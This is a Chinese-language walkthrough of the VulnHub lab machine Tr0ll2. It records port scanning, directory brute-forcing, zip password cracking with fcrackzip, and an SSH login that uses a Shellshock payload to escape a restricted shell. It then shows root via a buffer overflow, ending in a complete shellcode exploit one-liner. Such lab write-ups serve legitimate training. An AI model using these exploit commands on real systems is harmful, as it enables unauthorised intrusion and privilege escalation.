时间:2021.2.18
靶场信息:
地址:https://www.vulnhub.com/entry/tr0ll-2,107/
发布日期:2014年10月24日
目标:Tr0ll系列VM中的下一台计算机。 这比原始的Tr0ll难度有所提高,但是解决所需的时间大致相同,并且没有错,巨魔仍然存在! :)
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.137.0/24
由探测的结果可知,靶机的IP为192.168.137.136
2、扫描开放的端口和服务
nmap -sS -sV -T5 -A -p- 192.168.137.136
得到开放的端口信息:
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
3、网站信息收集
查看源代码得到一个用户名Tr0ll
之前探测到开放了ftp服务,我们用这个用户进行登录
登录成功后发现一个压缩包,将它下载到本地,解压之后发现要输入密码,这里可能漏掉了一个信息,我们会去找找看
访问robots.txt,给了我们很多路径名,一个个尝试太慢了
我们将它下载到本地
然后用dirb去跑一下robots.txt
发现有四个是可以访问的,我们用浏览器打开看看
将图片下载到本地分析一下
tail -n 3 cat_the_troll.jpg
根据最后一句话可知,它让我们深入了解y0ur_self,我们试试在浏览器打开看看,发现这里有一个answer.txt
打开answer文件全是base64值
我们先将它下载到本地,然后解码
base64 -d answer.txt > decode.txt
这个应该是密码字典,那就用这个字典对前面那个zip进行破解,这里使用Fcrackzip这款工具
Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统
fcrackzip -u -D -p decode.txt lmao.zip
破解得到密码为ItCantReallyBeThisEasyRightLOL,然后解压得到noob文件,查看发现是SHA256私钥,猜测可能用来登录ssh
试了试发现的登录失败
看到提示运行的是/usr/bin/xauth,并不是/bin/bash,这里有三种方法
ssh -i noob noob@192.168.137.136 -t "/bin/sh"
ssh -i noob noob@192.168.137.136 -t "bash --noprofile"
ssh -i noob noob@192.168.137.136 -t "() { :; }; /bin/bash"
登录以后,没发现有什么有用的文件,直接上msf
命令:gdb -q r00t(加载执行r00t程序发生溢出时来跟踪EIP的值) 命令:set disassembly-flavor intel(转换为intel格式的汇编) 命令:disas main(显示main函数对应的汇编代码)
使用Metasploit中的pattern_create.rb脚本生成字符序列
命令:cd /usr/share/metasploit-framework/tools/exploit/(进入msf的EXP库) 命令:./pattern_create.rb -l 500(可以看到我们只要在pattern_create.rb脚本的后面加上-L字符序列长度就可以生成指定长度的字符序列,查看了500的长度即可)
这边R跑下这个值,提示故障表示已经溢出了:0x6a413969
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
总结
这台靶机的难度太大了,主要是后面缓冲区溢出方面的,还需要花时间去学习一下。